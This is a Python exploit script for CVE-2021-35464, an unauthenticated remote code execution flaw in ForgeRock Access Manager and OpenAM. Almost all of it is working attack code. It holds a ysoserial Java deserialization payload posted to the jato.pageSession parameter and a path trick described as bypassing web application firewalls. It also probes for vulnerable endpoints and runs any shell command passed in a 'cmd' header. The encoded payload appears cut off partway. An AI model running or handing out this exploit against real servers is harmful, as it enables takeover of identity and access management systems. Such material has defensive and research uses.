# Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) # Date: 2021-07-14 # Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be # Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244 # Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/ # Version: [1] OpenAM 14.6.3 # [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021 # Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10 # CVE: CVE-2021-35464 #!/usr/bin/env python3 ''' Copyright 2021 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . File name CVE-2021-35464.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-) Rewritten from and full credits to @Y4er_ChaBug: https://github.com/Y4er/openam-CVE-2021-35464 and of course the discoverer @artsploit: https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 Created using https://github.com/frohoff/ysoserial ''' import urllib.request, urllib.parse, ssl, sys, optparse ## Static vars; change at will, but recommend leaving as is sURL = 'http://192.168.0.100:7080/openam' sEndpoint = 'ccversion/Version' sEndpoint = 'oauth2/..;/ccversion/Version' ## This bypasses potential WAFs iTimeout = 5 strSerializedPayload = b'AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEU ## Ignore unsigned certs, if any because OpenAM is default HTTP ssl._create_default_https_context = ssl._create_unverified_context def checkParams(options, args): if args: sHost = args[0] else: sHost = input('[?] Please enter the URL ['+sURL+'] : ') if sHost == '': sHost = sURL if not sHost[-1:] == '/': sHost += '/' if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost if options.command: sCMD = options.command else: sCMD = '' if options.proxy: sProxy = options.proxy else: sProxy = '' return (sHost, sCMD, sProxy) def findEndpoint(oOpener, sHost, sProxy): def testEndpoint(sURL): oRequest = urllib.request.Request(sURL) if sProxy: oRequest.set_proxy(sProxy, 'http') try: oResponse = oOpener.open(oRequest, timeout = iTimeout) except: return False if oResponse.code == 200: if 'ForgeRock' in oResponse.read().decode(errors='ignore'): print('[+] Found potential vulnerable endpoint: ' + sURL) return True return False if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint elif testEndpoint(sHost + 'openam/' + sEndpoint): return sHost + 'openam/' + sEndpoint elif testEndpoint(sHost + 'OpenAM/' + sEndpoint): return sHost + 'OpenAM/' + sEndpoint elif testEndpoint(sHost + 'openam/ccversion/Version'): return sHost + 'openam/ccversion/Version' elif testEndpoint(sHost + 'OpenAM/ccversion/Version'): return sHost + 'OpenAM/ccversion/Version' else: return '' def testVuln(oOpener, sURL, sProxy): oResponse = runCmd(oOpener, sURL, sProxy, 'echo CVE-2021-35464') ## The response is actually not well formed HTTP, needs manual formatting bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes try: oResponse.readinto(bResp) except: pass #print(bResp.split(b'\x00')[0]) if 'CVE-2021-35464' in bResp.decode(): return True else: return False def runVuln(oOpener, sURL, sProxy, sCMD): oResponse = runCmd(oOpener, sURL, sProxy, sCMD) ## The response is actually not well formed HTTP, needs manual formatting bResp = bytearray(4096) try: oResponse.readinto(bResp) except: pass ## The readinto still should have worked sResp = bResp.split(b'\x00')[0].decode() print(sResp) def runCmd(oOpener, sURL, sProxy, sCMD): oData = b'jato.pageSession=' + strSerializedPayload oHeaders = {'cmd' : sCMD} oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData) if sProxy: oRequest.set_proxy(sProxy, 'http') return oOpener.open(oRequest, timeout = iTimeout) def main(): usage = ( 'usage: %prog [options] URL \n' 'Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n' 'Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n' 'When in doubt, just enter a single IP address' ) parser = optparse.OptionParser(usage=usage) parser.add_option('--command', '-c', dest='command', help='Optional: The command to run remotely') parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080') ## Get or ask for the vars (options, args) = parser.parse_args() (sHost, sCMD, sProxy) = checkParams(options, args) ## Verify reachability print('[!] Verifying reachability of ' + sHost) oOpener = urllib.request.build_opener() oRequest = urllib.request.Request(sHost) if sProxy: oRequest.set_proxy(sProxy, 'http') try: oResponse = oOpener.open(oRequest, timeout = iTimeout) except urllib.error.HTTPError: pass except: sys.exit('[-] Error, host ' + sHost + ' seems to be unreachable') print('[+] Endpoint ' + sHost + ' reachable') ## Find endpoint print('[!] Finding correct OpenAM endpoint') sEndpoint = findEndpoint(oOpener, sHost, sProxy) if sEndpoint == '': sys.exit('[-] Error finding the correct OpenAM endpoint or not vulnerable.') ## Verify vulnerability if testVuln(oOpener, sEndpoint, sProxy): print('[+] !SUCCESS! Host ' + sHost + ' is vulnerable to CVE-2021-35464') else: sys.exit('[-] Not vulnerable or this implementation does not work') if sCMD: print('[+] Running command "' + sCMD + '" now:\n') runVuln(oOpener, sEndpoint, sProxy, sCMD) else: print('[!] All done') if __name__ == "__main__": main()